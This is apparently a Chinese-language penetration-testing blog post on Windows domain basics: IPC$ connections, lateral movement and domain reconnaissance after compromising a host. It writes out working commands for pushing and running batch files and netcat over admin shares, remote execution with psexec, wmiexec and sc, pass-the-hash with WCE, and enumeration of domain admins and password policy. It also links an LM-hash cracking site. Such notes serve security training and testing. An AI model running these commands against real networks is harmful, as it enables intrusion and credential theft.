1、域滲透基礎簡單資訊收集

FLy_鵬程萬里發表於2018-06-11

之前寫過一篇內網當中域滲透的簡單文章。好久沒遇到忘得差不多了。前幾天做專案,正好碰到了域環境,正好有時間,再回顧一下原來的知識,另外把新補充的知識再記錄一下。

域相關知識

什麼是域

域英文叫DOMAIN——域(Domain)是Windows網路中獨立執行的單位,域之間相互訪問則需要建立信任關係(即Trust Relation)。信任關係是連線在域與域之間的橋樑。當一個域與其他域建立了信任關係後,2個域之間不但可以按需要相互進行管理,還可以跨網分配檔案和印表機等裝置資源,使不同的域之間實現網路資源的共享與管理,以及相互通訊和資料傳輸。
域既是 Windows 網路作業系統的邏輯組織單元,也是Internet的邏輯組織單元,在 Windows 網路作業系統中,域是安全邊界。域管理員只能管理域的內部,除非其他的域顯式地賦予他管理許可權,他才能夠訪問或者管理其他的域,每個域都有自己的安全策略,以及它與其他域的安全信任關係。
如果企業網路中計算機和使用者數量較多時,要實現高效管理,就需要windows域。

域相關概念

活動目錄是由組織單元、域(domain)、域樹(tree)、森林(forest)構成的層次結構。作為最基本的管理單元,同時也是最基層的容器,它可以對員工、計算機等基本資料進行儲存。在一個活動目錄中可以根據需要建立多個域,比方說“甲公司”的財務科、人事科、銷售科就可以各建一個域,因為這幾個域同屬甲公司,所以就可以將這幾個域構成一棵域樹並交給域樹管理,這棵域樹就是甲公司。又因為,甲公司、乙公司、丙公司都歸屬A集團,那麼為了讓A集團可以更好地管理這三家子公司,就可以將這三家公司的域樹集中起來組成域森林(即A集團)。因此A集團可以按“子公司(域樹)→部門→員工”的方式進行層次分明的管理。活動目錄這種層次結構使企業網路具有極強的擴充套件性,便於組織、管理以及目錄定位。

域的搭建過程

域控制器安裝(win server系統)

先安裝一個DNS——安裝active directory(注:裝這兩個都需要系統光碟或映象;安裝active directory時相關的資訊選擇和命令要按自己的需求來)

裝好後開始——管理工具,開啟active directory使用者和計算機——新建使用者(密碼選永不過期)——在域中設定委派控制(物件為前面建的使用者)——完成域控制器就建好了

電腦加入域

設定成與域控制器在同一個網段,然後右擊“我的電腦”——屬性——計算機名——更改——選“域”然後輸入你建的域的域名重啟就行了(注:這臺電腦的計算機名要先在新增到域控制器中去)

參考:

> AD域環境的搭建 基於Server 2008 R2: http://www.it165.net/os/html/201306/5493.html

> Acitve Directory 域環境的搭建: http://blog.sina.com.cn/s/blog_6ce0f2c901014okt.html

什麼是ipc$連線

ipc$概念

IPC$(Internet Process Connection)是共享”命名管道”的資源,它是為了讓程式間通訊而開放的命名管道,可以通過驗證使用者名稱和密碼獲得相應的許可權,在遠端管理計算機和檢視計算機的共享資源時使用。

ipc$的作用

利用IPC$,連線者甚至可以與目標主機建立一個連線,利用這個連線,連線者可以得到目標主機上的目錄結構、使用者列表等資訊。

ipc$的利用條件

(1)139、445埠開啟

ipc$連線可以實現遠端登陸及對預設共享的訪問;而139埠的開啟表示netbios協議的應用,我們可以通過139,445(win2000)埠實現對共享檔案/印表機的訪問,因此一般來講,ipc$連線是需要139或445埠來支援的.、

(2)管理員開啟了預設共享

預設共享是為了方便管理員遠端管理而預設開啟的共享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連線可以實現對這些預設共享的訪問。

ipc連線失敗的原因

  • 你的系統不是NT或以上作業系統.
  • 對方沒有開啟ipc$預設共享。
  • 不能成功連線目標的139,445埠.
  • 命令輸入錯誤.
  • 使用者名稱或密碼錯誤.

常見錯誤號:

  • 錯誤號5,拒絕訪問 : 很可能你使用的使用者不是管理員許可權的,先提升許可權;
  • 錯誤號51,Windows 無法找到網路路徑 : 網路有問題;
  • 錯誤號53,找不到網路路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(埠過濾);
  • 錯誤號67,找不到網路名 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$; 錯誤號1219,提供的憑據與已存在的憑據集衝突 : 你已經和對方建立了一個ipc$,請刪除再連。
  • 錯誤號1326,未知的使用者名稱或錯誤密碼 : 原因很明顯了;
  • 錯誤號1792,試圖登入,但是網路登入服務沒有啟動 : 目標NetLogon服務未啟動。(連線域控會出現此情況)
  • 錯誤號2242,此使用者的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。

域內的檔案操作

利用IPC$

建立ipc$連線以後,就可以訪問目標機器的檔案(上傳、下載),也可以在目標機器上執行命令。

上傳和下載檔案直接通過copy命令就可以,不過路徑換成UNC路徑。

何為UNC路徑?簡單來講以\開頭的路徑就是UNC路徑,比如\192.168.1.2\c$\boot.ini。

如果要從本地當前目錄上傳1.bat到192.168.1.2機器C盤根目錄下,那麼命令就是
copy 1.bat \\192.168.1.2\C$\

反之就是下載。dir、copy、xcopy、move、type的引數都可以使用UNC路徑。

利用Telnet

服務端:nc -lvp 23 < nc.exe

下載端:telnet ip -f c:\nc.exe

利用檔案共享

對映目標
net use x: \\[目標IP]\[地址] [域使用者password] /user:[域]\[username]

域內執行命令

利用計劃任務

at \\192.168.200.100 15:00 c:\hack.bat

psexec

psexec針對遠端建立連線的認證方式有兩種,一種先建立ipc連線,然後直接用psexec \192.168.200.100 cmd命令開啟一個半互動式的cmdshell,另一種是在psexec的引數中指定賬號密碼。
引數:

> -s 引數用來以system許可權執行
>
> –accepteula 繞過第一次執行的彈窗
>
> -c <[路徑]檔名>:拷貝檔案到遠端機器並執行(注意:執行結束後檔案會自動刪除)
>
> -d 不等待程式執行完就返回

psexec \\192.168.1.2 c:\hack.bat

wmiexec

T00ls大牛寫的一款工具。早就傳開了。
半互動模式:

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password

單個命令執行的模式:
cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password &quot;command&quot;

如果有時候我們抓取到的是hash,破解不了時可以利用WCE的hash注入,然後再執行WMIEXEC(不提供賬號密碼)就可以了。

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1  
wce -s [hash] 
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1

SC建立服務執行

1、系統許可權(其中test為服務名)
sc \\DC1 create test binpath= c:\cmd.exe
sc \\DC1 start test
sc \\DC1 delete test

2.指定使用者許可權啟動
sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= test
sc \\DC1 start test

hash相關知識

windows的密碼是經過hash後儲存的,本地存在sam,system登錄檔中,域裡面存在ntds.dit中。密碼hash有兩種格式,LM hash和NT hash。

| 2000 | xp | 2003 | Vista | win7 | 2008 | 2012 |

前面三個預設是LM hash,當密碼超過14位時候會採用NTLM加密

test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::

前一部分是LM Hash,後一部分是NTLM Hash 當LM Hash是AAD3B435B51404EEAAD3B435B51404EE 這表示空密碼或者是未使用LM_HASH

LMhash可以用線上網站秒破: http://www.objectif-securite.ch/en/ophcrack.php

判定是否在域內

拿下內網當中的一臺主機後,首先要判斷所控主機是否在域內。這裡記錄集中驗證的方法。

net time /domain

  • 存在域不確定,但當前使用者不是域使用者。
      

  • 存在域,且當前使用者是域使用者會從域控返回當前時間。
      

  • 不存在域。
      

net config workstation


systeminfo


ipconfig /all

域內資訊收集

  • net user /domain 檢視域使用者
      
  • net view /domain 檢視有幾個域

  • net view /domain:XXX 檢視此域內電腦
      
  • net group /domain 查詢域裡面的組
      
  • net group “domain computers” /domain 檢視加入到域內的所有計算機名
      
  • net group “domain admins” /domain 檢視域管理員
      
  • net group “domain controllers” /domain 檢視域控制器
      
  • net user hacker /domain 獲得指定賬戶的詳細資訊
      
  • net accounts /domain 獲得域密碼策略設定,密碼長短,錯誤鎖定等資訊
      

以上命令都是最簡單的獲取資訊命令,只能獲取最基本的資訊。

更詳細的資訊需要用到其他的工具和利用姿勢。以後再慢慢寫。

本地使用者與域使用者

拿到一臺主機許可權後,有兩種可能:

本地使用者

域用使用者


一般本地使用者的administrator可以直接提升為ntauthority\system,SYSTEM使用者許可權。

在這三種情況中,本地使用者是無法執行之前說的所有命令的,因為本質上所有查詢都是通過ldap協議去域控制器上查詢,這個查詢需要經 過許可權認證,只有域使用者才有這個許可權。當域使用者執行查詢命令時,會自動使用kerberos協議認證,無需額外輸入賬號密碼。SYSTEM使用者的情況比較特殊,在域中,除了普通使用者外,所有機器都有一個機器使用者,使用者名稱是機器名後加$,本 質上機器上的SYSTEM使用者對應的就是域裡面的機器使用者,所以SYSTEM許可權是可以執行之前說的查詢命令的。

相關文章